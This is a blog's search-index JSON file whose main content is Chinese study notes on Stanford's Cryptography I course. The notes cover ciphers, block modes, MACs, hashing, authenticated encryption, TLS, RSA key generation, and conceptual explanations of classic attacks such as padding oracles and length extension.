-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.json
1 lines (1 loc) · 235 KB
/
index.json
1
[{"content":"Helloworld world is beautiful\n二级标题 三级标题 四级标题 五级标题 六级标题 公式测试 $$ \\sum_{i=1}^n a_i=0 $$\ngraph LR A[方形] --\u003eB(圆角) B --\u003e C{条件a} C --\u003e|a=1| D[结果1] C --\u003e|a=2| E[结果2] F[横向流程图] graph TD A[方形] --\u0026gt;B(圆角) B --\u0026gt; C{条件a} C --\u0026gt;|a=1| D[结果1] C --\u0026gt;|a=2| E[结果2] F[纵向流程图] ","permalink":"https://niceasiv.cn/posts/helloworld/","summary":"Helloworld world is beautiful\n二级标题 三级标题 四级标题 五级标题 六级标题 公式测试 $$ \\sum_{i=1}^n a_i=0 $$\ngraph LR A[方形] --\u003eB(圆角) B --\u003e C{条件a} C --\u003e|a=1| D[结果1] C --\u003e|a=2| E[结果2] F[横向流程图] graph TD A[方形] --\u0026gt;B(圆角) B --\u0026gt; C{条件a} C --\u0026gt;|a=1| D[结果1] C --\u0026gt;|a=2| E[结果2] F[纵向流程图] ","title":"Helloworld"},{"content":"","permalink":"https://niceasiv.cn/posts/hello/","summary":"","title":"hello"},{"content":"基于斯坦福大学 密码学一\n密码分析的四个手段 唯密文攻击(Ciphtext Only Attack,COA) 定义:唯密文攻击(COA)是指仅仅知道密文的情况下进行分析,求解明文或密钥的密码分析方法。\n假定密码分析者拥有密码算法及明文统计特性,并截获了一个或者多个用同一密钥加密的密文,通过对这些密文进行分析求出明文或密钥。COA已知条件最少,经不起唯密文攻击的密码是被认为不安全的。\n简单理解:只知道密文,推出明文或密钥,一般用穷举攻击。\n已知明文攻击(Known Plaintext Attack,KPA)(也可称为KPA安全) 定义:已知明文攻击(KPA)是指攻击者掌握了部分的明文M和对应的密文C,从而求解或破解出对应的密钥和加密算法。\n简单理解:知道部分的明文和密文对,推出密钥和加密算法。\n选择明文攻击(Chosen Plaintext Attack,CPA)(也可称为CPA安全) 定义:选择明文攻击(CPA)是指攻击者除了知道加密算法外,还可以选定明文消息,从而得到加密后的密文,即知道选择的明文和加密的密文,但是不能直接攻破密钥。\n简单理解:知道明文就知道密文,目标为推出密钥。\n选择密文攻击(Chosen Ciphertext Attack,CCA)(也可称为CCA安全) 定义:选择密文攻击(CCA)是指攻击者可以选择密文进行解密,除了知道已知明文攻击的基础上,攻击者可以任意制造或选择一些密文,并得到解密的明文,是一种比已知明文攻击更强的攻击方式。\n若一个密码系统能抵抗选择密文攻击,那必然能够抵抗COA和KPA攻击。密码分析者的目标是推出密钥,CCA主要应用于分析公钥密钥体制。\n简单理解:知道密文就知道明文,目标为推出密钥。 当密码系统只有承受住选择明文攻击(CPA)和选择密文攻击(CCA),才能算是安全的。 其中,四种攻击方式对应的攻击强度为:\n攻击难度:选择密文攻击(CCA)>选择明文攻击(CPA)>已知明文攻击(KPA)>唯密文攻击(COA) 难易程度:选择密文攻击(CCA)<选择明文攻击(CPA)<已知明文攻击(KPA)<唯密文攻击(COA)\n离散概率 异或性质 (1)交换律:$ A \\oplus B = B \\oplus A$\n(2)结合律: $( A \\oplus B ) \\oplus C = A \\oplus ( B \\oplus C )$\n(3)自反性:$ A \\oplus B \\oplus B = A $(由结合律可推:$ A \\oplus B \\oplus B = A \\oplus ( B \\oplus B ) = A \\oplus 0 = A)$\nBirthday Paradox 每个人生日都不相同的概率: $$ \\bar{p}(n)=1 \\cdot\\left(1-\\frac{1}{365}\\right) \\cdot\\left(1-\\frac{2}{365}\\right) \\cdots\\left(1-\\frac{n-1}{365}\\right)=\\frac{365}{365} \\cdot \\frac{364}{365} \\cdot \\frac{363}{365} \\cdot \\frac{362}{365} \\cdots \\frac{365-n+1}{365} $$ 阶乘形式为 $\\frac{365 !}{365^n(365-n) !}$ 至少两人生日相同的概率就是这个结果的补 $$ p(n)=1-\\bar{p}(n)=1-\\frac{365 !}{365^n(365-n) !} $$\nsecure cipher perfect secrecy\nFor every probability distribution over $M$ and $K$, every plain-text $m_0, m_1 \\in M$ and every cipher text $c \\in C$, the following holds: $$ \\operatorname{Pr}\\left[C=c \\mid M=m_0\\right]=\\operatorname{Pr}\\left[C=c \\mid M=m_1\\right] $$ 此定义可被解释为,密文空间的概率分布独立于明文空间的概率分布\nOTP是Perfect Security 证明:\n$\\forall m \\in M, \\forall c \\in C \\quad \\operatorname{Pr}[E(k, m)=c]=\\frac{# k e y, k \\in K \\text { s.t. } E(k, m)=c}{|K|}$\n,在OTP中 $k=m \\oplus c$ ,因此对于任意的 $m, c$ 使得 $E(k, m)=c$ 的 $k$ 的个数为 1 。\n所以,在OTP中对于 任意的 $m, c , \\operatorname{Pr}[E(k, m)=c]$ 是一个常数。因此OTP是perfect security。\n流密码 PRG unpredictable 可忽略函数 在数学中,可忽略函数 (英语: Negligible function) 是指 对于一个函数 $\\mu(x): \\mathbb{N} \\rightarrow \\mathbb{R}$ ,如果对于任意一个正多项式 $p o l y()$ ,存在一个 $N_c\u0026gt;0$ ,使得对于所有的 $x\u0026gt;N_c$ $$ \\mu(x)\u0026lt;\\frac{1}{\\operatorname{poly}(x)} $$ 那么这个函数便是可忽略的 (negligible)。通常我们把 “存在一个 $N_c\u0026gt;0$ ,使得对于所有的 $x\u0026gt;N_c$ \u0026quot; 简化为 \u0026ldquo;对于所有足够大的 $x^{\\prime \\prime}$ 。\n语义安全 攻击者自己任意选择两个消息m0、m1(注意,这个m0、m1是攻击者自己选的) 攻击者把这两个消息发送给挑战者。 挑战者运行加密算法,加密mb,把加密结果发送给攻击者。 $\\operatorname{Adv}_{S S}[A, E]=\\left|\\operatorname{Pr}\\left[c \\leftarrow E\\left(k, m_0\\right)\\right]-\\operatorname{Pr}\\left[c \\leftarrow E\\left(k, m_1\\right)\\right]\\right|=0$\nOTP是语义安全的,因为任意的$m_i \\oplus k $ 都是均匀分布的,无法区分两个实验\n流密码是语义安全的\n定理1: 如果一个流密码 $\\mathcal{E}$ 使用的PRG $\\mathcal{G}$ 是安全的,那么 $\\mathcal{E}$ 是语义安全的,并且在给定 $\\mathcal{E}$ 的敌手 $\\mathcal{A}$ 的情况下存在对于 $\\mathcal{G}$ 的敌手 $\\mathcal{B}$ 满足 $S S a d v^*[\\mathcal{A}, \\mathcal{E}]=P R G a d v[\\mathcal{B}, \\mathcal{G}]_{\\text {。 }}$\n分组密码 PRF和PRP PRF 取一个密钥 $K$ 和集合$X$中的元素作为输入,输出值在集合$Y$中,现在唯一要求的是存在一个有效的算法来实现这个函数。也就是说,要有 一个有效的函数来实现 $K \\times X \\rightarrow Y$ 的映射。 PRP 与PRF不同的是,多了一个条件,那就是要有一个算法D可以实现逆运算。 在PRP中,存在一个有效算法,能够实现映射关系 $K \\times X \\rightarrow X$ ,也就是说该算法能够将随机密钥 $k$ 与集合 $K \\mathrm{X}$ 中的元素作为输入,同时 输出值也是集合X中的元素,那么就要求每个元素一一对应。\n从本质上来说, $E(k, x)$ 是对元素 $\\mathrm{x}$ 的置换,为了解密的需要,就要求E是可逆的。\n安全性证明 DES Feistel结构 令 $\\mathrm{F}$ 为轮函数,并令 $K_0, K_1, \\ldots, K_n$ 分别为轮 $0,1, \\ldots, n$ 的子密钥。 基本操作如下: 将明文块拆分为两个等长的块, $\\left(L_0, R_0\\right)$ 对每轮 $i=0,1, \\ldots, n$ ,计算 $$ \\begin{aligned} L_{i+1} \u0026amp; =R_i \\ R_{i+1} \u0026amp; =L_i \\oplus \\mathrm{F}\\left(R_i, K_i\\right) . \\end{aligned} $$ 则密文为 $\\left(R_{n+1}, L_{n+1}\\right)$ 。 解密密文 $\\left(R_{n+1}, L_{n+1}\\right)$ 则通过计算 $i=n, n-1, \\ldots, 0$ $$ \\begin{aligned} \u0026amp; R_i=L_{i+1} \\ \u0026amp; L_i=R_{i+1} \\oplus \\mathrm{F}\\left(L_{i+1}, K_i\\right) . \\end{aligned} $$ 则 $\\left(L_0, R_0\\right)$ 就是明文。\n如果轮函数是一个密码安全的伪随机函数,使用$K_i$作为种子,那么3轮足以使这种分组密码成为伪随机置换,而4轮可使它成为“强”伪随机置换(这意味着,对可以得到其逆排列谕示的攻击者,它仍然是伪随机的)。\nFeistel结构轮函数 (1)、将64bit的明文右半部分(IP置换的产物,左右各有32bit)即32bit扩展为48bit:采用的是4个bit一组,分为8组,每一组前后各加1bit(增加的bit数=$218=16bit$)。其增加按照下表进行(虚线以外的为增加的bit所在位置,如:第一组前是32,即在第一组前加一个bit为整个右半部分的32bit的第32位的bit值{0,1}): (2)、得到的48bit扩充信息,和子密钥$K_i$进行异或操作,得到48bit的结果; (3)、将扩充信息和子密钥异或后的结果进行压缩(48bit压缩到32bit),压缩的方式是经过S盒(4*16的矩阵)进行替换,S盒函数是经过严格计算获得的,其S1盒的替换表与流程如下所示:\n一个组6bit,共8组(6bit*8=48bit),即有8个S盒,每个S盒是固定的但是都是不相同的\nS盒的实现就像一个编码器,只不过是6-4线的。原来的6bit作为索引,转换为索引到的4bit。\nS盒的设计原则是遵循了F函数的要求来设计的,比如非线性、雪崩性、比特统计独立性等\n(4)、置换运算P(经过一个P盒进行置换):指的是将32bit压缩后的信息进行bit置换操作,改换位操作目的是打乱其原有排序规律(F函数的混乱性原则)\nDES介绍 DES是使用对称秘钥的分组加密算法。具体的算法流程如下\n因为加密和解密的密钥是一样的,所以称之为对称密钥。另外分组加密,是因为这种算法把明文划分为许多个等长的块(block)或分组,对每个块进行加密,最后拼接在一起。\n从本质上来说,DES的安全性依赖于虚假表象,从密码学的术语来讲就是依赖于“混淆和扩散”的原则。混淆的目的是为隐藏任何明文同密文、或者密钥之间的关系,而扩散的目的是使明文中的有效位和密钥一起组成尽可能多的密文。\nDES的功能是:给定64bits的Plaintext和8字节64bits的key,输出一个64bits的ciphertext。这些ciphertext可以用相同的key进行解密。\n虽然 DES 一次只能加密 8 个字节,但我们只需要把明文划分成每 8 个字节一组的块,就可以实现任意长度明文的加密。如果明文长度不是 8 个字节的倍数,常用PKCS7 / PKCS5进行填充,用于把任意长度的文本填充成 8 字节的倍数长,也能方便地恢复原文。\nDES算法框架 IP置换目的是将输入的64位数据块按位重新组合,并把输出分为L0、R0两部分,每部分各长32位\n子秘钥生成\nDES的密钥每个字节的第8位作为奇偶校验位,密钥由64位减至56位。这56位的密钥由一下的密钥置换表获得。\n密钥置换表:(没有8,16,24,32,40,48,56和64这8位)\n在DES的每一轮的子密钥,从这56位密钥产生出不同的48位子密钥,确定这些子密钥的方式如下:\n将56位的密钥分成两部分,每部分28位。 根据轮数,这两部分分别循环左移1位或2位。每轮移动的位数如下表: 移动后,又从56位中选出48位。置换了每位的顺序,最终确定子密钥。此过程称为密钥压缩置换。压缩置换规则如下表(注意表中没有9,18,22,25,35,38,43和54这8位):\n3DES 3DES也是个一般的分组密码,有三元组$(K,M,C)$\n定义三重加密,使用三个秘独立的密钥,和之前DES一样加密明文分组,它先使用密钥k3,然后用密钥k2解密,然后再用密钥k1加密\nE-\u0026gt;D-\u0026gt;E\n如果三密钥相等,k1=k2=k3,最终的效果是一个加密和一个解密抵消,又变成了正常的DES\nwhy no 2DES 存在meet-in-the-middle attack\n假设 $E$ 和 $D$ 分别是加密函数和解密函数, $k 1$ 和 $k 2$ 分别是两次加密使用的密钥,则我们有 $$ \\begin{aligned} \u0026amp; C=E_{k_2}\\left(E_{k_1}(P)\\right) \\ \u0026amp; P=D_{k_1}\\left(D_{k_2}(C)\\right) \\end{aligned} $$ 则我们可以推出 $$ E_{k_1}(P)=D_{k_2}(C) $$ 那么,当用户知道一对明文和密文时\n攻击者可以枚举所有的 $k 1$ ,将 $P$ 所有加密后的结果存储起来,并按照密文的大小进行排序。 攻击者进一步枚举所有的 $k 2$ ,将密文C进行解密得到 C1,在第一步加密后的结果中搜索 $C 1$ ,如果搜索到,则我们在一定程度上可以认为我们找到了正确的 $k 1$ 和 $k 2$ 。 如果觉得第二步中得到的结果不保险,则我们还可以再找一些明密文对进行验证。 假设 $\\mathrm{k} 1$ 和 $\\mathrm{k} 2$ 的密钥长度都为 $\\mathrm{n}$ ,则原先我们暴力枚举需要 $O\\left(n^2\\right)$ ,现在我们只需要 $O\\left(n \\log _2 n\\right)_0$ 实际上2DES中的中间相遇是穷举中间产物即k2加密-\u0026gt;应该是k1解密得到的,所以分别双向进行穷举\nDESX 我们使用密钥k1,k2,k3,然后在加密前,用k3异或明文分组,然后用k2加密明文,然后将加密结果异或k1\n更多的对于分组密码的攻击 侧信道攻击,直接检测你加密ID卡的细微电流,然后还原出秘钥\n错误攻击,报错泄露原来的信息\n线性分析(linear cryptanalysis)方法本质上是一种已知明文攻击方法。这种方法可用 221 个已知明文破译8-轮DES,可用 247 个已知明文破译16轮DES。该种方法在某些情况下,可用于唯密文攻击,线性分析的基本思想是通过寻找一个给定密码算法的有效的线性近似表达式来降低密钥的熵,,从而破译密码系统。\nAES 第一步:轮秘钥加\n加密第二步:字节代替\n字节代替也叫做S盒变换 AES有个固定的S盒,下图即为S盒\n把第一步轮密钥加后产生的每一个字节用十六进制表示 然后以十六进制的第一个数字为行,第二个数字为列,在S盒表中查找对应的数字,用这个数字来代替原先的数字,这样就完成了字节变换。(比如原字节为0x1a,就以1为行,a为列,找到表中对应的0xa2来代替0x1a的位置)\n加密第三步:行移位\n就是把上一步得到的矩阵每行左环移,第一行不变,第二行环移1位,第三行环移2位,第三行环移3位。\n加密第四步:列混淆\n将上一步得到的矩阵a左乘矩阵c,得到新的矩阵b。 这里的矩阵c是固定的(AES规定的)\n如果需要加密任意长度的明文,需要对分组密码进行迭代,分组密码的迭代方式叫做分组密码的模式\n模式 详细 ECB Electronic Code Book mode(电子密码本模式) CBC Cipher Block Chaining mode(分组密码链接模式) CFB Cipher Feedback mode OFB Output Feedback mode CTR Couter mode XTS XEX(\\oplus Encrypt \\oplus)Tweakable Block Cipher with CipherText Stealing ECB 此外,独立地对每个块加密,最后直接拼起来是不行的(这种方式称为“电子密码本”,ECB 模式。但如果明文当中有多个相同的分组,则这些明文分组就会产生相同的密文分组,这对于图片之类的数据来说几乎是致命的)。\nECB不是语义安全的\nDeterministic counter mode Many times多次使用的CPA 知道明文就知道密文,目标为推出密钥。\n对于选择明文攻击,攻击者可以重复这个询问多次。\n选择明文攻击的本质,如果攻击者想知道特定明文信息m的加密结果,比如使用询问J,查明文J的加密结果。他把信息0和1都设为一样的信息m,左边和右边的信息是一样的都是m,这时由于两个m一样,攻击者会收到他感兴趣的信息m的加密结果,这就是选择明文攻击的意思。攻击者可以提交信息m,收到m的加密结果。\nCBC Cipher Block Chaining mode(分组密码链接模式)\n1)所有分组的加密都链接在一起,使得某一分组的密文不再仅依赖于该分组的明文,而是依赖于该分组之前(包含该分组)的所有明文分组;\n2)加密过程使用了初始化向量(IV)进行了随机化。\n带IV的CBC模式对于CPA攻击是语义安全的\nCBC是安全的,最好是q^2*L^2远远小于|x|的值\nL是加密的明文长度\nq是在CPA攻击下,攻击者获得的密文数\n在现实中,q的意义是我们使用密钥k加密的次数\n基于新鲜值的CBC加密\n这种模式里,IV被某个不随机但是唯一的新鲜值取代\n好处是, 如果接受方知道新鲜值是多少,就没必要把新鲜值包含在密文里了,密文就和明文一样长了。\n这种模式,需要两个独立的k和k1,k加密分组,k1加密新鲜值\n用k1加密新鲜值是非常重要的\n如果用k加密新鲜值,也不是CPA安全的。\nCBC padding orcle\n1 CBC字节翻转攻击原理 对于CBC模式的解密算法,每一组明文进行分组算法解密之后,需要和前一组的密文异或才能得到明文。第一组则是和初始向量IV进行异或。 $\\mathrm{CBC}$ 字节翻转攻击的核心原理是通过破坏一个比特的密文来簛改一个比特的明文。 对于异或运算, 有以下逻辑: 相同字符之间异或运算的结果为 0 , 即 $1 \\oplus 1=0$ 任何字符与 0 异或运算结果为原字符, 即 $1 \\oplus 0=1$ 假设现在我们有第 $N-1$ 组密文某一位的值 $A$, 以及第 $N$ 组密文相同位置经过分组解密后的值 $B$, 于是我们能够很容易得到第 $N$ 组该位置上的明文 $C$ $$ A \\oplus B=C $$ 如果我们破坏第 $N-1$ 组的密文 $A$, 将其与明文 $C$ 进行异或运算 $A \\oplus C$, 由异或的性质可以得到下式 $$ A \\oplus C \\oplus B=C \\oplus C=0 $$ 可以看见, 现在计算出的明文变成 $了$ 了, 现在我们可以将明文随意更改成我们想要的字符。只需要在上一组的密文异或我们想要的字符即可, 假设我们想将明 文 $C$ 更改为 $X$, 可以由下式得出 $$ A \\oplus C \\oplus X \\oplus B=C \\oplus C \\oplus X=X $$ CTR CTR模式还有一种基于新鲜值的计数器模式\nIV不是真随机的,是一个新鲜值,可计数的\n把AES的128位分组,左64位作为新鲜值,计数器是0到2的64次方\nCTR:一个AES密钥可以用2的64次\nCBC:一个AES密钥可以用2的48次\n消息完整性Message integrity S(k,m) outputs t in T\n安全的MAC系统\n⇒ attacker cannot produce a valid tag for a newmessage\n⇒ given (m,t)attacker cannot even produce (m,t’) for t’ ≠ t\n如何把短的MAC转化为长的MAC\n两种方法:\nECBC-MAC 应用在银行业又叫CMAC HMAC应用在网络协议 加密的CBC-MAC。简称ECBC\n我们把最大信息长度界定为L取信息,分割成分组。每个分组和底层函数f的分组一样长。CBC运行,但不输出中间值。\n这种情况下标签为N位长。截断标签。\n最后一步加密是干什么的。\n如果没有最后一步,叫做raw CBC 函数,原CBC并不安全。最后一步对于MAC的安全性很重要\n而MAC在生成时会使用一个密钥附加在消息之前:这确保不仅消息未被修改,而且发送者也是我们所期望的:否则攻击者无法知道用于生成的code的密钥。【考虑发送方和接收方共享一个密钥,在hash时附上密钥一起进行哈希】\nMAC padding CMAC CMAC,使用一个随机的补齐函数,不用加假分组。\n用了三个密钥,也称三密钥机制。\n如果是有补位,用k1异或,没有补位用k2异或\n先用ISO的方法,补100….但是我们还要把最后一个分组和密钥k1xor\n好处是没有最后的加密步骤,不用加假分组。\nCMAC 和CBC-MAC有同样的安全性。\nCollision Resistance 条件1,有一个MAC可以加密短信息,比如AES\n条件2,有一个哈希函数是抗碰撞的。 SHA256\n这种方式和MAC相比较,如果用MAC,我们需要一个密钥来验证单个文件的标签,但我们不需要一个只读的公共空间。\n用抗碰撞的哈希函数,我们不需要一个密钥来验证,任何人都可以验证。\n数字签名可以在完整性和资源(不需要只读公共空间)两方面都达到最优\nHash(不需要key), MAC(带key),HMAC(带key)\n这种生日攻击可以在2的n/2次内找到可能的碰撞,低于2的64次是危险的。\n所以我们一般不用128位输出的哈希。用256。\nThe Merkle-Damgard Paradigm 其中,基于Merkle-Damgard paradigm的迭代哈希函数如图1所示。首先对待发送消息 $M$ 进行 处理,对它进行填充( $\\hat{M} \\leftarrow M | \\mathrm{PB})$ ,使得 $M$ 的长度为 $l$ 的整数倍,随后被分割为多个 -块,即 $\\hat{M}=m_1\\left|m_2\\right| \\cdots | m_s$ ,其中 $m_1, \\ldots, m_s \\in{0,1}^{\\ell} \\space h: \\mathcal{X} \\times \\mathcal{Y} \\rightarrow \\mathcal{X}$ 是一个 哈希函数,被称为 $H$ 的压缩函数(compression functions)。 $\\mathcal{Y}$ 是每个数据块 $m_i$ 的变量空间。 常数 $I V$ 为initial value。\n消息被分成了很多个block,最开始的初始化向量和第一个block进行f操作,得到了的结果再和第二个block进行操作,如此循环进行,最终得到了最后的结果。\n构建安全压缩函数,使得压缩函数是抗碰撞的。\n现在的问题就是如何构造冲突避免的压缩函数 ℎ 。目前使用最频繁的构造方法是Davies-Meyer。\n综上,当 |X| 足够大时,在ideal cipher model下,Davies-Meyer哈希函数 ℎ(DM)是冲突避免的。\nSHA-256 SHA-256是Merkel-Damgard机制,还使用了Davies-Mayer压缩函数。\n对于任意长度的消息,SHA256都会产生一个256位的哈希值,称作消息摘要。这个摘要相当于是个长度为32个字节的数组,通常有一个长度为64的十六进制字符串来表示,其中1个字节=8位,一个十六进制的字符的长度为4位。\n哈希长度拓展攻击(Hash Length Extension Attack)是一种利用哈希函数的特性,在已知哈希值的情况下,计算出原始数据的扩展值的攻击方式。\n攻击者可以通过构造特定的数据块,使得这些块的处理结果可以被利用来计算出原始数据的扩展值。\n攻击步骤如下:\n攻击者获取原始数据的哈希值和部分原始数据。 攻击者利用哈希函数的工作方式,计算出原始数据的哈希值中的中间状态,并将该中间状态保存下来。 攻击者构造一段数据块,使得这段数据块可以被加到原始数据的后面,并且构造的数据块中包含攻击者想要添加到原始数据末尾的内容。 攻击者利用保存的中间状态和构造的数据块,计算出原始数据加上构造数据块后的哈希值,从而得到原始数据的扩展值。 由于哈希函数的工作方式和输出长度是公开的,攻击者可以通过简单的计算来生成有效的扩展值,而不需要知道原始数据的内容。\nHMAC $$ \\text { HMAC: } \\quad S(k, m)=H(k \\oplus o p a d | H(k \\oplus i p a d ~ |m ~) ~) $$\n这些密码本ipad 和opad,是固定的常数。标准中给出了。512位常数,永不改变。\nAuthenticated Encryption 认证加密是一个密码,通常是一个加密算法,取密钥,信息为输入,还可选一个新鲜值,输出一个密文,解密算法通常输出一个信息。但是这个解密算法可以输出一个特殊符号叫做底,当解密算法输出底时,意味着密文是无效的,应当被忽略,唯一的要求是这个底不在信息空间里,这个唯一的符号表示密文应当被拒绝。\n证明,认证加密可以抵抗选择密文攻击。\n他是一个极为强大的攻击者,他可以获得除了挑战密文外,任意密文的解密结果,但他依然不能区分他是在实验0还是实验中。\n第一个例子在SSL协议里,SSL组合加密和MAC,希望能获得认证加密,组合方法如下:取密文m,然后计算明文m和MAC,使用MAC密钥kI,计算明文m的标签,然后你可以将标签附在明文后面,然后加密这个明文和标签的联结,得到最终的密文。这是一号方案。\n第二个方案是在IPsec中,取明文,首先加密这个明文,然后计算得到的密文的标签,大家注意到这个标签是基于得到的密文计算的。\n第三个方案是来自SSH协议的,这里,SSH取明文,使用CPA安全的加密机制加密明文。然后,把明文标签附在后面。IPsec与SSH不同之处在于,IPsec中,标签是根据密文计算的,在SSH中,标签是根据明文计算的。\nSSH这种,因为MAC前面算法的输出会泄露明文中的一些位,不建议使用。\nIPsec更为推荐。计算密文的标签时,我们用这个标签给密文上锁,确保没有人可以产生一个不同的密文,可以确保任何对密文的修改都会被解密者检测出来,因为MAC无法验证。\nSSL, mac-then-enc\nIPsec, enc-then-mac\nSSH, enc-and-mac`\nTLS 下面来看记录协议的工作细节,这里展示这个强制性的密码套件,加密使用 AES-CBC,MAC 使用 HMAC-SHA1。记住 TLS 使用了一个 MAC,然后加密。\n我们看浏览器给服务器发送数据,使用的是从浏览器到服务器的密钥,这个密钥本身是由一个 MAC 密钥和一个加密秘钥组成,两个单独的密钥在会话起始阶段就被协商好了。所以总共来说有四个密钥,两个是 MAC 密钥,两个是加密秘钥,每个被使用在合适的方向。\n蓝色部分是 TLS 数据包的结构图,它以一个报文头开始,包含了数据包的类型、协议版本号以及数据包的长度,注意到数据包的长度是以明文形式发送的。加密数据、加密特定记录时,\n加密流程如下:取密钥,数据,当前状态为输入,然后如下工作。\n首先是取 MAC 的实际的封装操作,可以看到报文头也在 MAC 的计算中,另外计数器的当前值也在 MAC 的计算中,当然所有计数器增加以表示有一个记录被发送了。及时计数器的值包含在标签里,但计数器的值实际上永远不会在记录中发送。他不用被放在记录里发送的原因是,另一端的服务器已经知道了计数器的值,所以它不需要在记录中被告知计数器的值,它隐性的知道这个值。当它要验证这个 MAC 时,它可以使用它认为的计数器的值来验证这个 MAC。\n这些计数器具备新鲜值的功能,没有理由把新鲜值放在记录里,因为双方实际上都知道每个收到的记录的计数器。\n标签计算的范围是图上这个三元组数据。\n第二步是把标签附在数据后面,是先 MAC 加密,所以先计算了 MAC,这里会把数据和标签一并加密。所以报文头、数据和标签被补齐到 AES 分组。如果补齐的长度是 5 个字节,那么补齐就是简单的写 5 个 5。\n第三步是用加密密钥来进行 CBC 加密,我们计算数据和标签的 CBC 加密,我们使用一个新鲜的随机 IV,它待会被嵌入到密文中。\n最后,我们在结果前附上报文头、报文类型、版本号和长度。\nCBC padding attacks 记得认证加密意味着系统提供 CPA 安全性,以及密文完整性。认证加密还意味着我们可以在有主动给攻击者存在的情况下,保持私密性,攻击者甚至不能以任何方式修改密文,且不被检测到。\n我们还证明了认证加密可以阻止这些非常强大的选择密文攻击。不幸的是,认证加密有一个很重要的局限性,那就是它不能承受不好的实现。如果不正确的实现认证加密,那么你的实现对主动攻击将是脆弱的。\n我们看标准机制,之前提到过这三个标准可以提供认证加密。实际中,当你需要使用认证加密时,你应该就使用这三个标准中的一个。我们不应该试图去自己实现认证加密。\n一般情况下,当你想提供认证加密时,正确的方法是先加密然后再计算 MAC,因为无论你组合什么加密和 MAC 算法得到的结果将是认证加密。\n首先,到来的密文是 CBC 加密的,然后接下来实现的程序会检查补齐格式是否正确,比如说,如果补齐长度是 5 个字节,格式应为 55555,如果格式不正确,那么密文被拒绝,这就是检查解密后的记录的末尾是否含有正确的补齐。如果补齐格式正确,那么接下来检查 MAC,检查信息标签,如果标签不正确,这个记录也会被拒绝。如果标签有效,那么剩下的数据被认为是可被认证的,于是交给应用。\n由图中可以看出,在 21 毫秒内,密文会被拒绝,但是如果补齐有效,那么就要检查 MAC 了,发现 MAC 是无效的,警告仅在这点生成。换句话说,在这种情况下,会花稍微多一点的时间直到生成警告,可以看到,这平均花掉 23 毫秒。所以即使对付返回同样的警告,攻击者可以观察警告信息生成的用时,如果时间较短,他就知道补齐是无效的,如果时间较长,他就知道补齐有效,但 MAC 无效\nssh攻击 想法如下:假设攻击者截获了一个密文分组,即直接用 AES 加密的分组 m,现在攻击者想还原这个 m,强调一下,这个截获的密文只有一个分组长,一个 AES 分组。攻击者怎么办,向服务器发送一个数据包,数据包的开头是正常的,以一个序列号开头,然后他把他截获的密文 c 作为第一个分组,发送给服务器。现在,服务器该怎么办?服务器会解密第一个 AES 分组的前几个字节,他会把这前几个字节解读成数据包的长度域。接下来,服务器将期待着 len 这么多字节,在验证 MAC 之前,攻击者将一次只给服务器一个字节,这样服务器会一个字节,一个字节地读,最终,服务器会读到长度域里说的那么多的字节,他会检测 MAC 是否有效。当然,攻击者给服务器的字节都是随便弄的,因此 MAC 不会通过验证,服务器会发送一个 MAC 错误,但可以发现,攻击者在数他发送给服务器多少给字节。它能严格的知道他发送了多少个字节,当他接收到了服务器发来的 MAC 错误,这就告诉攻击者,密文 c 的前 32 位的解密结果,正好等于已经发送的字节数在看到 MAC 错误之前。那么这是一个非常聪明的攻击。\n攻击者有一个密文分组 c,他想解密 c,我们假定 c 解密后,得到的明文的高 32 位是数字 5,在这种情况下,攻击者会看到如下的事情。服务器会解密挑战分组 c,会得到数字 5,并把 5 当作长度域。那么现在,攻击者会给服务器一次一个字节,在攻击者给服务器 5 个字节后,服务器说:我刚刚还原了整个数据包,让我检查 MAC。MAC 很可能是错的,服务器会发送一个坏 MAC 的错误。那么在读了 5 个字节后,攻击者会看到一个坏 MAC 的错误,然后攻击者就知道了解密后的分组的高 32 位等于数字 5. 那么就知道了 c 的高 32 位。这是一个非常重要的攻击,因为攻击者刚刚知道了密文分组解密后的高 32 位,他可以对任何他想要的密文分组实施这个攻击,他可以知道一条长信息的每个密文分组的高 32 位。\n密码设计里有两个错误,第一个是,解密操作不是原子操作,换句话说,解密算法不取整个数据包作为输入,而返回整个明文作为输出,或者返回 “拒绝”,解密算法部分的解密了密文获得了长度域,然后等待指定数量的字节去还愿,然后完成了加密过程。这些非原子解密操作是很危险的,一般来说,需要避免使用他们。在这个例子里,这个非原子操作正好破坏了认证加密。\n另一个问题在于,在正确的认证之前,就使用了长度域,这是另一个错误之处,不应该这么做的。所以加密的数据域不应该被使用在这个域被正确认证之前。\n秘钥分发 KDF HMAC\nHMAC ·\nPBKDF 首先,我们讨论密钥推导时,HKDF机制在2010年Hugo Krawczyk的文章里有所描述。\n确定性加密,SIV模式在第二篇论文里有所讨论。\n我们描述了EME模式,可以让我们构建一个宽分组的伪随机置换,EME模式在Halvi和Rogaway的论文里描述。\n微调分组密码,引入了用于硬盘加密的XTS模式,在第四篇论文里描述。\n最后,保格式加密在最后一篇论文里描述。\n数论 乘法逆元 在中国剩余定理的计算里,需要求一个数字在一个模下的逆元,也就是对于给定的 $a , b$ ,找到方 程 $a a^* \\equiv 1(\\bmod b)$ 的一个整数解 $a^$ 。接下来我们分析一下这个方程背后隐藏着什么。 根据同余的定义,有 $b \\mid\\left(a a^-1\\right)$ ,也就是存在整数 $k$ 使得 $b k=a a^-1$ 。移一下项,就得 到了 $a a^-b k=1$ 。 这个形式恰好符合裴蜀定理 $a x+b y=1$ 的形式,于是 $(a, b)=1$ ,这表明 $\\mathbf{a}$ , $\\mathbf{b}$ 互质是逆元 存在的必要条件。同样可以证明: $a$,b互质是 $a$ 在模 $b$ 下存在逆元的充分条件。\n扩展欧几里得 费马小定理 费马小定理: $p$ 为质数, $a$ 为任意自然数,则\n$a^p \\equiv a(\\bmod p)$\n陷门函数PK加密 公钥与私钥的产生 叚设Alice想要通过不可靠的媒体接收Bob的私人信息。她可以用以下的方式来产生一个公钥和一个私钥:\n随意选择两个大的素数 $p$ 和 $q , p$ 不等于 $q$ ,计算 $N=p q$ 。\n根据欧拉函数,求得 $r=\\varphi(N)=\\varphi(p) \\times \\varphi(q)=(p-1)(q-1)$\n选择一个小于 $r$ 的整数 $e$ ,使 $e$ 与 $r$ 互质。并求得 $e$ 关于 $r$ 的模逆元,命名为 $d$ (求 $d$ 令 $e d \\equiv 1(\\bmod r)$ )。 (模逆元存在,当且仅当 $e$ 与 $r$ 互质)\n将 $p$ 和 $q$ 的记录销毁。 $(N, e)$ 是公钥, $(N, d)$ 是私钥。Alice将她的公钥 $(N, e)$ 传给Bob,而将她的私钥 $(N, d)$ 藏起来。\n加密消息 叚设Bob想给Alice送消息 $m$ ,他知道Alice产生的 $N$ 和 $e$ 